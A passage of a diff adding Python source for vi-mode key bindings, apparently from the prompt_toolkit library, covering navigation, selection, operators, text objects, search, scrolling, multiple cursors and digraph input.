~is_read_only) + def _substitute(event: E) -> None: + """ + Substitute with new text + (Delete character(s) and go to insert mode.) + """ + text = event.current_buffer.delete(count=event.arg) + event.app.clipboard.set_text(text) + event.app.vi_state.input_mode = InputMode.INSERT + + @handle("u", filter=vi_navigation_mode, save_before=(lambda e: False)) + def _undo(event: E) -> None: + for i in range(event.arg): + event.current_buffer.undo() + + @handle("V", filter=vi_navigation_mode) + def _visual_line(event: E) -> None: + """ + Start lines selection. + """ + event.current_buffer.start_selection(selection_type=SelectionType.LINES) + + @handle("c-v", filter=vi_navigation_mode) + def _visual_block(event: E) -> None: + """ + Enter block selection mode. + """ + event.current_buffer.start_selection(selection_type=SelectionType.BLOCK) + + @handle("V", filter=vi_selection_mode) + def _visual_line2(event: E) -> None: + """ + Exit line selection mode, or go from non line selection mode to line + selection mode. + """ + selection_state = event.current_buffer.selection_state + + if selection_state is not None: + if selection_state.type != SelectionType.LINES: + selection_state.type = SelectionType.LINES + else: + event.current_buffer.exit_selection() + + @handle("v", filter=vi_navigation_mode) + def _visual(event: E) -> None: + """ + Enter character selection mode. + """ + event.current_buffer.start_selection(selection_type=SelectionType.CHARACTERS) + + @handle("v", filter=vi_selection_mode) + def _visual2(event: E) -> None: + """ + Exit character selection mode, or go from non-character-selection mode + to character selection mode. + """ + selection_state = event.current_buffer.selection_state + + if selection_state is not None: + if selection_state.type != SelectionType.CHARACTERS: + selection_state.type = SelectionType.CHARACTERS + else: + event.current_buffer.exit_selection() + + @handle("c-v", filter=vi_selection_mode) + def _visual_block2(event: E) -> None: + """ + Exit block selection mode, or go from non block selection mode to block + selection mode. + """ + selection_state = event.current_buffer.selection_state + + if selection_state is not None: + if selection_state.type != SelectionType.BLOCK: + selection_state.type = SelectionType.BLOCK + else: + event.current_buffer.exit_selection() + + @handle("a", "w", filter=vi_selection_mode) + @handle("a", "W", filter=vi_selection_mode) + def _visual_auto_word(event: E) -> None: + """ + Switch from visual linewise mode to visual characterwise mode. + """ + buffer = event.current_buffer + + if ( + buffer.selection_state + and buffer.selection_state.type == SelectionType.LINES + ): + buffer.selection_state.type = SelectionType.CHARACTERS + + @handle("x", filter=vi_navigation_mode) + def _delete(event: E) -> None: + """ + Delete character. + """ + buff = event.current_buffer + count = min(event.arg, len(buff.document.current_line_after_cursor)) + if count: + text = event.current_buffer.delete(count=count) + event.app.clipboard.set_text(text) + + @handle("X", filter=vi_navigation_mode) + def _delete_before_cursor(event: E) -> None: + buff = event.current_buffer + count = min(event.arg, len(buff.document.current_line_before_cursor)) + if count: + text = event.current_buffer.delete_before_cursor(count=count) + event.app.clipboard.set_text(text) + + @handle("y", "y", filter=vi_navigation_mode) + @handle("Y", filter=vi_navigation_mode) + def _yank_line(event: E) -> None: + """ + Yank the whole line. + """ + text = "\n".join(event.current_buffer.document.lines_from_current[: event.arg]) + event.app.clipboard.set_data(ClipboardData(text, SelectionType.LINES)) + + @handle("+", filter=vi_navigation_mode) + def _next_line(event: E) -> None: + """ + Move to first non whitespace of next line + """ + buffer = event.current_buffer + buffer.cursor_position += buffer.document.get_cursor_down_position( + count=event.arg + ) + buffer.cursor_position += buffer.document.get_start_of_line_position( + after_whitespace=True + ) + + @handle("-", filter=vi_navigation_mode) + def _prev_line(event: E) -> None: + """ + Move to first non whitespace of previous line + """ + buffer = event.current_buffer + buffer.cursor_position += buffer.document.get_cursor_up_position( + count=event.arg + ) + buffer.cursor_position += buffer.document.get_start_of_line_position( + after_whitespace=True + ) + + @handle(">", ">", filter=vi_navigation_mode) + def _indent(event: E) -> None: + """ + Indent lines. + """ + buffer = event.current_buffer + current_row = buffer.document.cursor_position_row + indent(buffer, current_row, current_row + event.arg) + + @handle("<", "<", filter=vi_navigation_mode) + def _unindent(event: E) -> None: + """ + Unindent lines. + """ + current_row = event.current_buffer.document.cursor_position_row + unindent(event.current_buffer, current_row, current_row + event.arg) + + @handle("O", filter=vi_navigation_mode & ~is_read_only) + def _open_above(event: E) -> None: + """ + Open line above and enter insertion mode + """ + event.current_buffer.insert_line_above(copy_margin=not in_paste_mode()) + event.app.vi_state.input_mode = InputMode.INSERT + + @handle("o", filter=vi_navigation_mode & ~is_read_only) + def _open_below(event: E) -> None: + """ + Open line below and enter insertion mode + """ + event.current_buffer.insert_line_below(copy_margin=not in_paste_mode()) + event.app.vi_state.input_mode = InputMode.INSERT + + @handle("~", filter=vi_navigation_mode) + def _reverse_case(event: E) -> None: + """ + Reverse case of current character and move cursor forward. + """ + buffer = event.current_buffer + c = buffer.document.current_char + + if c is not None and c != "\n": + buffer.insert_text(c.swapcase(), overwrite=True) + + @handle("g", "u", "u", filter=vi_navigation_mode & ~is_read_only) + def _lowercase_line(event: E) -> None: + """ + Lowercase current line. + """ + buff = event.current_buffer + buff.transform_current_line(lambda s: s.lower()) + + @handle("g", "U", "U", filter=vi_navigation_mode & ~is_read_only) + def _uppercase_line(event: E) -> None: + """ + Uppercase current line. + """ + buff = event.current_buffer + buff.transform_current_line(lambda s: s.upper()) + + @handle("g", "~", "~", filter=vi_navigation_mode & ~is_read_only) + def _swapcase_line(event: E) -> None: + """ + Swap case of the current line. + """ + buff = event.current_buffer + buff.transform_current_line(lambda s: s.swapcase()) + + @handle("#", filter=vi_navigation_mode) + def _prev_occurence(event: E) -> None: + """ + Go to previous occurrence of this word. + """ + b = event.current_buffer + search_state = event.app.current_search_state + + search_state.text = b.document.get_word_under_cursor() + search_state.direction = SearchDirection.BACKWARD + + b.apply_search(search_state, count=event.arg, include_current_position=False) + + @handle("*", filter=vi_navigation_mode) + def _next_occurance(event: E) -> None: + """ + Go to next occurrence of this word. + """ + b = event.current_buffer + search_state = event.app.current_search_state + + search_state.text = b.document.get_word_under_cursor() + search_state.direction = SearchDirection.FORWARD + + b.apply_search(search_state, count=event.arg, include_current_position=False) + + @handle("(", filter=vi_navigation_mode) + def _begin_of_sentence(event: E) -> None: + # TODO: go to begin of sentence. + # XXX: should become text_object. + pass + + @handle(")", filter=vi_navigation_mode) + def _end_of_sentence(event: E) -> None: + # TODO: go to end of sentence. + # XXX: should become text_object. + pass + + operator = create_operator_decorator(key_bindings) + text_object = create_text_object_decorator(key_bindings) + + @handle(Keys.Any, filter=vi_waiting_for_text_object_mode) + def _unknown_text_object(event: E) -> None: + """ + Unknown key binding while waiting for a text object. + """ + event.app.output.bell() + + # + # *** Operators *** + # + + def create_delete_and_change_operators( + delete_only: bool, with_register: bool = False + ) -> None: + """ + Delete and change operators. + + :param delete_only: Create an operator that deletes, but doesn't go to insert mode. + :param with_register: Copy the deleted text to this named register instead of the clipboard. + """ + handler_keys: Iterable[str] + if with_register: + handler_keys = ('"', Keys.Any, "cd"[delete_only]) + else: + handler_keys = "cd"[delete_only] + + @operator(*handler_keys, filter=~is_read_only) + def delete_or_change_operator(event: E, text_object: TextObject) -> None: + clipboard_data = None + buff = event.current_buffer + + if text_object: + new_document, clipboard_data = text_object.cut(buff) + buff.document = new_document + + # Set deleted/changed text to clipboard or named register. + if clipboard_data and clipboard_data.text: + if with_register: + reg_name = event.key_sequence[1].data + if reg_name in vi_register_names: + event.app.vi_state.named_registers[reg_name] = clipboard_data + else: + event.app.clipboard.set_data(clipboard_data) + + # Only go back to insert mode in case of 'change'. + if not delete_only: + event.app.vi_state.input_mode = InputMode.INSERT + + create_delete_and_change_operators(False, False) + create_delete_and_change_operators(False, True) + create_delete_and_change_operators(True, False) + create_delete_and_change_operators(True, True) + + def create_transform_handler( + filter: Filter, transform_func: Callable[[str], str], *a: str + ) -> None: + @operator(*a, filter=filter & ~is_read_only) + def _(event: E, text_object: TextObject) -> None: + """ + Apply transformation (uppercase, lowercase, rot13, swap case). + """ + buff = event.current_buffer + start, end = text_object.operator_range(buff.document) + + if start < end: + # Transform. + buff.transform_region( + buff.cursor_position + start, + buff.cursor_position + end, + transform_func, + ) + + # Move cursor + buff.cursor_position += text_object.end or text_object.start + + for k, f, func in vi_transform_functions: + create_transform_handler(f, func, *k) + + @operator("y") + def _yank(event: E, text_object: TextObject) -> None: + """ + Yank operator. (Copy text.) + """ + _, clipboard_data = text_object.cut(event.current_buffer) + if clipboard_data.text: + event.app.clipboard.set_data(clipboard_data) + + @operator('"', Keys.Any, "y") + def _yank_to_register(event: E, text_object: TextObject) -> None: + """ + Yank selection to named register. + """ + c = event.key_sequence[1].data + if c in vi_register_names: + _, clipboard_data = text_object.cut(event.current_buffer) + event.app.vi_state.named_registers[c] = clipboard_data + + @operator(">") + def _indent_text_object(event: E, text_object: TextObject) -> None: + """ + Indent. + """ + buff = event.current_buffer + from_, to = text_object.get_line_numbers(buff) + indent(buff, from_, to + 1, count=event.arg) + + @operator("<") + def _unindent_text_object(event: E, text_object: TextObject) -> None: + """ + Unindent. + """ + buff = event.current_buffer + from_, to = text_object.get_line_numbers(buff) + unindent(buff, from_, to + 1, count=event.arg) + + @operator("g", "q") + def _reshape(event: E, text_object: TextObject) -> None: + """ + Reshape text. + """ + buff = event.current_buffer + from_, to = text_object.get_line_numbers(buff) + reshape_text(buff, from_, to) + + # + # *** Text objects *** + # + + @text_object("b") + def _b(event: E) -> TextObject: + """ + Move one word or token left. + """ + return TextObject( + event.current_buffer.document.find_start_of_previous_word(count=event.arg) + or 0 + ) + + @text_object("B") + def _B(event: E) -> TextObject: + """ + Move one non-blank word left + """ + return TextObject( + event.current_buffer.document.find_start_of_previous_word( + count=event.arg, WORD=True + ) + or 0 + ) + + @text_object("$") + def _dollar(event: E) -> TextObject: + """ + 'c$', 'd$' and '$': Delete/change/move until end of line. + """ + return TextObject(event.current_buffer.document.get_end_of_line_position()) + + @text_object("w") + def _word_forward(event: E) -> TextObject: + """ + 'word' forward. 'cw', 'dw', 'w': Delete/change/move one word. + """ + return TextObject( + event.current_buffer.document.find_next_word_beginning(count=event.arg) + or event.current_buffer.document.get_end_of_document_position() + ) + + @text_object("W") + def _WORD_forward(event: E) -> TextObject: + """ + 'WORD' forward. 'cW', 'dW', 'W': Delete/change/move one WORD. + """ + return TextObject( + event.current_buffer.document.find_next_word_beginning( + count=event.arg, WORD=True + ) + or event.current_buffer.document.get_end_of_document_position() + ) + + @text_object("e") + def _end_of_word(event: E) -> TextObject: + """ + End of 'word': 'ce', 'de', 'e' + """ + end = event.current_buffer.document.find_next_word_ending(count=event.arg) + return TextObject(end - 1 if end else 0, type=TextObjectType.INCLUSIVE) + + @text_object("E") + def _end_of_WORD(event: E) -> TextObject: + """ + End of 'WORD': 'cE', 'dE', 'E' + """ + end = event.current_buffer.document.find_next_word_ending( + count=event.arg, WORD=True + ) + return TextObject(end - 1 if end else 0, type=TextObjectType.INCLUSIVE) + + @text_object("i", "w", no_move_handler=True) + def _inner_word(event: E) -> TextObject: + """ + Inner 'word': ciw and diw + """ + start, end = event.current_buffer.document.find_boundaries_of_current_word() + return TextObject(start, end) + + @text_object("a", "w", no_move_handler=True) + def _a_word(event: E) -> TextObject: + """ + A 'word': caw and daw + """ + start, end = event.current_buffer.document.find_boundaries_of_current_word( + include_trailing_whitespace=True + ) + return TextObject(start, end) + + @text_object("i", "W", no_move_handler=True) + def _inner_WORD(event: E) -> TextObject: + """ + Inner 'WORD': ciW and diW + """ + start, end = event.current_buffer.document.find_boundaries_of_current_word( + WORD=True + ) + return TextObject(start, end) + + @text_object("a", "W", no_move_handler=True) + def _a_WORD(event: E) -> TextObject: + """ + A 'WORD': caw and daw + """ + start, end = event.current_buffer.document.find_boundaries_of_current_word( + WORD=True, include_trailing_whitespace=True + ) + return TextObject(start, end) + + @text_object("a", "p", no_move_handler=True) + def _paragraph(event: E) -> TextObject: + """ + Auto paragraph. + """ + start = event.current_buffer.document.start_of_paragraph() + end = event.current_buffer.document.end_of_paragraph(count=event.arg) + return TextObject(start, end) + + @text_object("^") + def _start_of_line(event: E) -> TextObject: + """'c^', 'd^' and '^': Soft start of line, after whitespace.""" + return TextObject( + event.current_buffer.document.get_start_of_line_position( + after_whitespace=True + ) + ) + + @text_object("0") + def _hard_start_of_line(event: E) -> TextObject: + """ + 'c0', 'd0': Hard start of line, before whitespace. + (The move '0' key is implemented elsewhere, because a '0' could also change the `arg`.) + """ + return TextObject( + event.current_buffer.document.get_start_of_line_position( + after_whitespace=False + ) + ) + + def create_ci_ca_handles( + ci_start: str, ci_end: str, inner: bool, key: Optional[str] = None + ) -> None: + # TODO: 'dat', 'dit', (tags (like xml) + """ + Delete/Change string between this start and stop character. But keep these characters. + This implements all the ci", ci<, ci{, ci(, di", di<, ca", ca<, ... combinations. + """ + + def handler(event: E) -> TextObject: + if ci_start == ci_end: + # Quotes + start = event.current_buffer.document.find_backwards( + ci_start, in_current_line=False + ) + end = event.current_buffer.document.find(ci_end, in_current_line=False) + else: + # Brackets + start = event.current_buffer.document.find_enclosing_bracket_left( + ci_start, ci_end + ) + end = event.current_buffer.document.find_enclosing_bracket_right( + ci_start, ci_end + ) + + if start is not None and end is not None: + offset = 0 if inner else 1 + return TextObject(start + 1 - offset, end + offset) + else: + # Nothing found. + return TextObject(0) + + if key is None: + text_object("ai"[inner], ci_start, no_move_handler=True)(handler) + text_object("ai"[inner], ci_end, no_move_handler=True)(handler) + else: + text_object("ai"[inner], key, no_move_handler=True)(handler) + + for inner in (False, True): + for ci_start, ci_end in [ + ('"', '"'), + ("'", "'"), + ("`", "`"), + ("[", "]"), + ("<", ">"), + ("{", "}"), + ("(", ")"), + ]: + create_ci_ca_handles(ci_start, ci_end, inner) + + create_ci_ca_handles("(", ")", inner, "b") # 'dab', 'dib' + create_ci_ca_handles("{", "}", inner, "B") # 'daB', 'diB' + + @text_object("{") + def _previous_section(event: E) -> TextObject: + """ + Move to previous blank-line separated section. + Implements '{', 'c{', 'd{', 'y{' + """ + index = event.current_buffer.document.start_of_paragraph( + count=event.arg, before=True + ) + return TextObject(index) + + @text_object("}") + def _next_section(event: E) -> TextObject: + """ + Move to next blank-line separated section. + Implements '}', 'c}', 'd}', 'y}' + """ + index = event.current_buffer.document.end_of_paragraph( + count=event.arg, after=True + ) + return TextObject(index) + + @text_object("f", Keys.Any) + def _next_occurence(event: E) -> TextObject: + """ + Go to next occurrence of character. Typing 'fx' will move the + cursor to the next occurrence of character. 'x'. + """ + event.app.vi_state.last_character_find = CharacterFind(event.data, False) + match = event.current_buffer.document.find( + event.data, in_current_line=True, count=event.arg + ) + if match: + return TextObject(match, type=TextObjectType.INCLUSIVE) + else: + return TextObject(0) + + @text_object("F", Keys.Any) + def _previous_occurance(event: E) -> TextObject: + """ + Go to previous occurrence of character. Typing 'Fx' will move the + cursor to the previous occurrence of character. 'x'. + """ + event.app.vi_state.last_character_find = CharacterFind(event.data, True) + return TextObject( + event.current_buffer.document.find_backwards( + event.data, in_current_line=True, count=event.arg + ) + or 0 + ) + + @text_object("t", Keys.Any) + def _t(event: E) -> TextObject: + """ + Move right to the next occurrence of c, then one char backward. + """ + event.app.vi_state.last_character_find = CharacterFind(event.data, False) + match = event.current_buffer.document.find( + event.data, in_current_line=True, count=event.arg + ) + if match: + return TextObject(match - 1, type=TextObjectType.INCLUSIVE) + else: + return TextObject(0) + + @text_object("T", Keys.Any) + def _T(event: E) -> TextObject: + """ + Move left to the previous occurrence of c, then one char forward. + """ + event.app.vi_state.last_character_find = CharacterFind(event.data, True) + match = event.current_buffer.document.find_backwards( + event.data, in_current_line=True, count=event.arg + ) + return TextObject(match + 1 if match else 0) + + def repeat(reverse: bool) -> None: + """ + Create ',' and ';' commands. + """ + + @text_object("," if reverse else ";") + def _(event: E) -> TextObject: + """ + Repeat the last 'f'/'F'/'t'/'T' command. + """ + pos: Optional[int] = 0 + vi_state = event.app.vi_state + + type = TextObjectType.EXCLUSIVE + + if vi_state.last_character_find: + char = vi_state.last_character_find.character + backwards = vi_state.last_character_find.backwards + + if reverse: + backwards = not backwards + + if backwards: + pos = event.current_buffer.document.find_backwards( + char, in_current_line=True, count=event.arg + ) + else: + pos = event.current_buffer.document.find( + char, in_current_line=True, count=event.arg + ) + type = TextObjectType.INCLUSIVE + if pos: + return TextObject(pos, type=type) + else: + return TextObject(0) + + repeat(True) + repeat(False) + + @text_object("h") + @text_object("left") + def _left(event: E) -> TextObject: + """ + Implements 'ch', 'dh', 'h': Cursor left. + """ + return TextObject( + event.current_buffer.document.get_cursor_left_position(count=event.arg) + ) + + @text_object("j", no_move_handler=True, no_selection_handler=True) + # Note: We also need `no_selection_handler`, because we in + # selection mode, we prefer the other 'j' binding that keeps + # `buffer.preferred_column`. + def _down(event: E) -> TextObject: + """ + Implements 'cj', 'dj', 'j', ... Cursor up. + """ + return TextObject( + event.current_buffer.document.get_cursor_down_position(count=event.arg), + type=TextObjectType.LINEWISE, + ) + + @text_object("k", no_move_handler=True, no_selection_handler=True) + def _up(event: E) -> TextObject: + """ + Implements 'ck', 'dk', 'k', ... Cursor up. + """ + return TextObject( + event.current_buffer.document.get_cursor_up_position(count=event.arg), + type=TextObjectType.LINEWISE, + ) + + @text_object("l") + @text_object(" ") + @text_object("right") + def _right(event: E) -> TextObject: + """ + Implements 'cl', 'dl', 'l', 'c ', 'd ', ' '. Cursor right. + """ + return TextObject( + event.current_buffer.document.get_cursor_right_position(count=event.arg) + ) + + @text_object("H") + def _top_of_screen(event: E) -> TextObject: + """ + Moves to the start of the visible region. (Below the scroll offset.) + Implements 'cH', 'dH', 'H'. + """ + w = event.app.layout.current_window + b = event.current_buffer + + if w and w.render_info: + # When we find a Window that has BufferControl showing this window, + # move to the start of the visible area. + pos = ( + b.document.translate_row_col_to_index( + w.render_info.first_visible_line(after_scroll_offset=True), 0 + ) + - b.cursor_position + ) + + else: + # Otherwise, move to the start of the input. + pos = -len(b.document.text_before_cursor) + return TextObject(pos, type=TextObjectType.LINEWISE) + + @text_object("M") + def _middle_of_screen(event: E) -> TextObject: + """ + Moves cursor to the vertical center of the visible region. + Implements 'cM', 'dM', 'M'. + """ + w = event.app.layout.current_window + b = event.current_buffer + + if w and w.render_info: + # When we find a Window that has BufferControl showing this window, + # move to the center of the visible area. + pos = ( + b.document.translate_row_col_to_index( + w.render_info.center_visible_line(), 0 + ) + - b.cursor_position + ) + + else: + # Otherwise, move to the start of the input. + pos = -len(b.document.text_before_cursor) + return TextObject(pos, type=TextObjectType.LINEWISE) + + @text_object("L") + def _end_of_screen(event: E) -> TextObject: + """ + Moves to the end of the visible region. (Above the scroll offset.) + """ + w = event.app.layout.current_window + b = event.current_buffer + + if w and w.render_info: + # When we find a Window that has BufferControl showing this window, + # move to the end of the visible area. + pos = ( + b.document.translate_row_col_to_index( + w.render_info.last_visible_line(before_scroll_offset=True), 0 + ) + - b.cursor_position + ) + + else: + # Otherwise, move to the end of the input. + pos = len(b.document.text_after_cursor) + return TextObject(pos, type=TextObjectType.LINEWISE) + + @text_object("n", no_move_handler=True) + def _search_next(event: E) -> TextObject: + """ + Search next. + """ + buff = event.current_buffer + search_state = event.app.current_search_state + + cursor_position = buff.get_search_position( + search_state, include_current_position=False, count=event.arg + ) + return TextObject(cursor_position - buff.cursor_position) + + @handle("n", filter=vi_navigation_mode) + def _search_next2(event: E) -> None: + """ + Search next in navigation mode. (This goes through the history.) + """ + search_state = event.app.current_search_state + + event.current_buffer.apply_search( + search_state, include_current_position=False, count=event.arg + ) + + @text_object("N", no_move_handler=True) + def _search_previous(event: E) -> TextObject: + """ + Search previous. + """ + buff = event.current_buffer + search_state = event.app.current_search_state + + cursor_position = buff.get_search_position( + ~search_state, include_current_position=False, count=event.arg + ) + return TextObject(cursor_position - buff.cursor_position) + + @handle("N", filter=vi_navigation_mode) + def _search_previous2(event: E) -> None: + """ + Search previous in navigation mode. (This goes through the history.) + """ + search_state = event.app.current_search_state + + event.current_buffer.apply_search( + ~search_state, include_current_position=False, count=event.arg + ) + + @handle("z", "+", filter=vi_navigation_mode | vi_selection_mode) + @handle("z", "t", filter=vi_navigation_mode | vi_selection_mode) + @handle("z", "enter", filter=vi_navigation_mode | vi_selection_mode) + def _scroll_top(event: E) -> None: + """ + Scrolls the window to makes the current line the first line in the visible region. + """ + b = event.current_buffer + event.app.layout.current_window.vertical_scroll = b.document.cursor_position_row + + @handle("z", "-", filter=vi_navigation_mode | vi_selection_mode) + @handle("z", "b", filter=vi_navigation_mode | vi_selection_mode) + def _scroll_bottom(event: E) -> None: + """ + Scrolls the window to makes the current line the last line in the visible region. + """ + # We can safely set the scroll offset to zero; the Window will make + # sure that it scrolls at least enough to make the cursor visible + # again. + event.app.layout.current_window.vertical_scroll = 0 + + @handle("z", "z", filter=vi_navigation_mode | vi_selection_mode) + def _scroll_center(event: E) -> None: + """ + Center Window vertically around cursor. + """ + w = event.app.layout.current_window + b = event.current_buffer + + if w and w.render_info: + info = w.render_info + + # Calculate the offset that we need in order to position the row + # containing the cursor in the center. + scroll_height = info.window_height // 2 + + y = max(0, b.document.cursor_position_row - 1) + height = 0 + while y > 0: + line_height = info.get_height_for_line(y) + + if height + line_height < scroll_height: + height += line_height + y -= 1 + else: + break + + w.vertical_scroll = y + + @text_object("%") + def _goto_corresponding_bracket(event: E) -> TextObject: + """ + Implements 'c%', 'd%', '%, 'y%' (Move to corresponding bracket.) + If an 'arg' has been given, go this this % position in the file. + """ + buffer = event.current_buffer + + if event._arg: + # If 'arg' has been given, the meaning of % is to go to the 'x%' + # row in the file. + if 0 < event.arg <= 100: + absolute_index = buffer.document.translate_row_col_to_index( + int((event.arg * buffer.document.line_count - 1) / 100), 0 + ) + return TextObject( + absolute_index - buffer.document.cursor_position, + type=TextObjectType.LINEWISE, + ) + else: + return TextObject(0) # Do nothing. + + else: + # Move to the corresponding opening/closing bracket (()'s, []'s and {}'s). + match = buffer.document.find_matching_bracket_position() + if match: + return TextObject(match, type=TextObjectType.INCLUSIVE) + else: + return TextObject(0) + + @text_object("|") + def _to_column(event: E) -> TextObject: + """ + Move to the n-th column (you may specify the argument n by typing it on + number keys, for example, 20|). + """ + return TextObject( + event.current_buffer.document.get_column_cursor_position(event.arg - 1) + ) + + @text_object("g", "g") + def _goto_first_line(event: E) -> TextObject: + """ + Go to the start of the very first line. + Implements 'gg', 'cgg', 'ygg' + """ + d = event.current_buffer.document + + if event._arg: + # Move to the given line. + return TextObject( + d.translate_row_col_to_index(event.arg - 1, 0) - d.cursor_position, + type=TextObjectType.LINEWISE, + ) + else: + # Move to the top of the input. + return TextObject( + d.get_start_of_document_position(), type=TextObjectType.LINEWISE + ) + + @text_object("g", "_") + def _goto_last_line(event: E) -> TextObject: + """ + Go to last non-blank of line. + 'g_', 'cg_', 'yg_', etc.. + """ + return TextObject( + event.current_buffer.document.last_non_blank_of_current_line_position(), + type=TextObjectType.INCLUSIVE, + ) + + @text_object("g", "e") + def _ge(event: E) -> TextObject: + """ + Go to last character of previous word. + 'ge', 'cge', 'yge', etc.. + """ + prev_end = event.current_buffer.document.find_previous_word_ending( + count=event.arg + ) + return TextObject( + prev_end - 1 if prev_end is not None else 0, type=TextObjectType.INCLUSIVE + ) + + @text_object("g", "E") + def _gE(event: E) -> TextObject: + """ + Go to last character of previous WORD. + 'gE', 'cgE', 'ygE', etc.. + """ + prev_end = event.current_buffer.document.find_previous_word_ending( + count=event.arg, WORD=True + ) + return TextObject( + prev_end - 1 if prev_end is not None else 0, type=TextObjectType.INCLUSIVE + ) + + @text_object("g", "m") + def _gm(event: E) -> TextObject: + """ + Like g0, but half a screenwidth to the right. (Or as much as possible.) + """ + w = event.app.layout.current_window + buff = event.current_buffer + + if w and w.render_info: + width = w.render_info.window_width + start = buff.document.get_start_of_line_position(after_whitespace=False) + start += int(min(width / 2, len(buff.document.current_line))) + + return TextObject(start, type=TextObjectType.INCLUSIVE) + return TextObject(0) + + @text_object("G") + def _last_line(event: E) -> TextObject: + """ + Go to the end of the document. (If no arg has been given.) + """ + buf = event.current_buffer + return TextObject( + buf.document.translate_row_col_to_index(buf.document.line_count - 1, 0) + - buf.cursor_position, + type=TextObjectType.LINEWISE, + ) + + # + # *** Other *** + # + + @handle("G", filter=has_arg) + def _to_nth_history_line(event: E) -> None: + """ + If an argument is given, move to this line in the history. (for + example, 15G) + """ + event.current_buffer.go_to_history(event.arg - 1) + + for n in "123456789": + + @handle( + n, + filter=vi_navigation_mode + | vi_selection_mode + | vi_waiting_for_text_object_mode, + ) + def _arg(event: E) -> None: + """ + Always handle numberics in navigation mode as arg. + """ + event.append_to_arg_count(event.data) + + @handle( + "0", + filter=( + vi_navigation_mode | vi_selection_mode | vi_waiting_for_text_object_mode + ) + & has_arg, + ) + def _0_arg(event: E) -> None: + """ + Zero when an argument was already give. + """ + event.append_to_arg_count(event.data) + + @handle(Keys.Any, filter=vi_replace_mode) + def _insert_text(event: E) -> None: + """ + Insert data at cursor position. + """ + event.current_buffer.insert_text(event.data, overwrite=True) + + @handle(Keys.Any, filter=vi_replace_single_mode) + def _replace_single(event: E) -> None: + """ + Replace single character at cursor position. + """ + event.current_buffer.insert_text(event.data, overwrite=True) + event.current_buffer.cursor_position -= 1 + event.app.vi_state.input_mode = InputMode.NAVIGATION + + @handle( + Keys.Any, + filter=vi_insert_multiple_mode, + save_before=(lambda e: not e.is_repeat), + ) + def _insert_text_multiple_cursors(event: E) -> None: + """ + Insert data at multiple cursor positions at once. + (Usually a result of pressing 'I' or 'A' in block-selection mode.) + """ + buff = event.current_buffer + original_text = buff.text + + # Construct new text. + text = [] + p = 0 + + for p2 in buff.multiple_cursor_positions: + text.append(original_text[p:p2]) + text.append(event.data) + p = p2 + + text.append(original_text[p:]) + + # Shift all cursor positions. + new_cursor_positions = [ + pos + i + 1 for i, pos in enumerate(buff.multiple_cursor_positions) + ] + + # Set result. + buff.text = "".join(text) + buff.multiple_cursor_positions = new_cursor_positions + buff.cursor_position += 1 + + @handle("backspace", filter=vi_insert_multiple_mode) + def _delete_before_multiple_cursors(event: E) -> None: + """ + Backspace, using multiple cursors. + """ + buff = event.current_buffer + original_text = buff.text + + # Construct new text. + deleted_something = False + text = [] + p = 0 + + for p2 in buff.multiple_cursor_positions: + if p2 > 0 and original_text[p2 - 1] != "\n": # Don't delete across lines. + text.append(original_text[p : p2 - 1]) + deleted_something = True + else: + text.append(original_text[p:p2]) + p = p2 + + text.append(original_text[p:]) + + if deleted_something: + # Shift all cursor positions. + lengths = [len(part) for part in text[:-1]] + new_cursor_positions = list(accumulate(lengths)) + + # Set result. + buff.text = "".join(text) + buff.multiple_cursor_positions = new_cursor_positions + buff.cursor_position -= 1 + else: + event.app.output.bell() + + @handle("delete", filter=vi_insert_multiple_mode) + def _delete_after_multiple_cursors(event: E) -> None: + """ + Delete, using multiple cursors. + """ + buff = event.current_buffer + original_text = buff.text + + # Construct new text. + deleted_something = False + text = [] + new_cursor_positions = [] + p = 0 + + for p2 in buff.multiple_cursor_positions: + text.append(original_text[p:p2]) + if p2 >= len(original_text) or original_text[p2] == "\n": + # Don't delete across lines. + p = p2 + else: + p = p2 + 1 + deleted_something = True + + text.append(original_text[p:]) + + if deleted_something: + # Shift all cursor positions. + lengths = [len(part) for part in text[:-1]] + new_cursor_positions = list(accumulate(lengths)) + + # Set result. + buff.text = "".join(text) + buff.multiple_cursor_positions = new_cursor_positions + else: + event.app.output.bell() + + @handle("left", filter=vi_insert_multiple_mode) + def _left_multiple(event: E) -> None: + """ + Move all cursors to the left. + (But keep all cursors on the same line.) + """ + buff = event.current_buffer + new_positions = [] + + for p in buff.multiple_cursor_positions: + if buff.document.translate_index_to_position(p)[1] > 0: + p -= 1 + new_positions.append(p) + + buff.multiple_cursor_positions = new_positions + + if buff.document.cursor_position_col > 0: + buff.cursor_position -= 1 + + @handle("right", filter=vi_insert_multiple_mode) + def _right_multiple(event: E) -> None: + """ + Move all cursors to the right. + (But keep all cursors on the same line.) + """ + buff = event.current_buffer + new_positions = [] + + for p in buff.multiple_cursor_positions: + row, column = buff.document.translate_index_to_position(p) + if column < len(buff.document.lines[row]): + p += 1 + new_positions.append(p) + + buff.multiple_cursor_positions = new_positions + + if not buff.document.is_cursor_at_the_end_of_line: + buff.cursor_position += 1 + + @handle("up", filter=vi_insert_multiple_mode) + @handle("down", filter=vi_insert_multiple_mode) + def _updown_multiple(event: E) -> None: + """ + Ignore all up/down key presses when in multiple cursor mode. + """ + + @handle("c-x", "c-l", filter=vi_insert_mode) + def _complete_line(event: E) -> None: + """ + Pressing the ControlX - ControlL sequence in Vi mode does line + completion based on the other lines in the document and the history. + """ + event.current_buffer.start_history_lines_completion() + + @handle("c-x", "c-f", filter=vi_insert_mode) + def _complete_filename(event: E) -> None: + """ + Complete file names. + """ + # TODO + pass + + @handle("c-k", filter=vi_insert_mode | vi_replace_mode) + def _digraph(event: E) -> None: + """ + Go into digraph mode. + """ + event.app.vi_state.waiting_for_digraph = True + + @Condition + def digraph_symbol_1_given() -> bool: + return get_app().vi_state.digraph_symbol1 is not None + + @handle(Keys.Any, filter=vi_digraph_mode & ~digraph_symbol_1_given) + def _digraph1(event: E) -> None: + """ + First digraph symbol. + """ + event.app.vi_state.digraph_symbol1 = event.data + + @handle(Keys.Any, filter=vi_digraph_mode & digraph_symbol_1_given) + def _create_digraph(event: E) -> None: + """ + Insert digraph. + """ + try: + # Lookup. + code: Tuple[str, str] = ( + event.app.vi_state.digraph_symbol1 or "", + event.data, + ) + if code not in DIGRAPHS: + code = code[::-1] # Try reversing. + symbol = DIGRAPHS[code] + except KeyError: + # Unknown digraph. + event.app.output.bell() + else: + # Insert digraph. + overwrite = event.app.vi_state.input_mode == InputMode.REPLACE + event.current_buffer.insert_text(chr(symbol), overwrite=overwrite) + event.app.vi_state.waiting_for_digraph = False + finally: + event.app.vi_state.waiting_for_digraph = False + event.app.vi_state.digraph_symbol1 = None + + @handle("c-o", filter=vi_insert_mode | vi_replace_mode) + def _quick_normal_mode(event: E) -> None: + 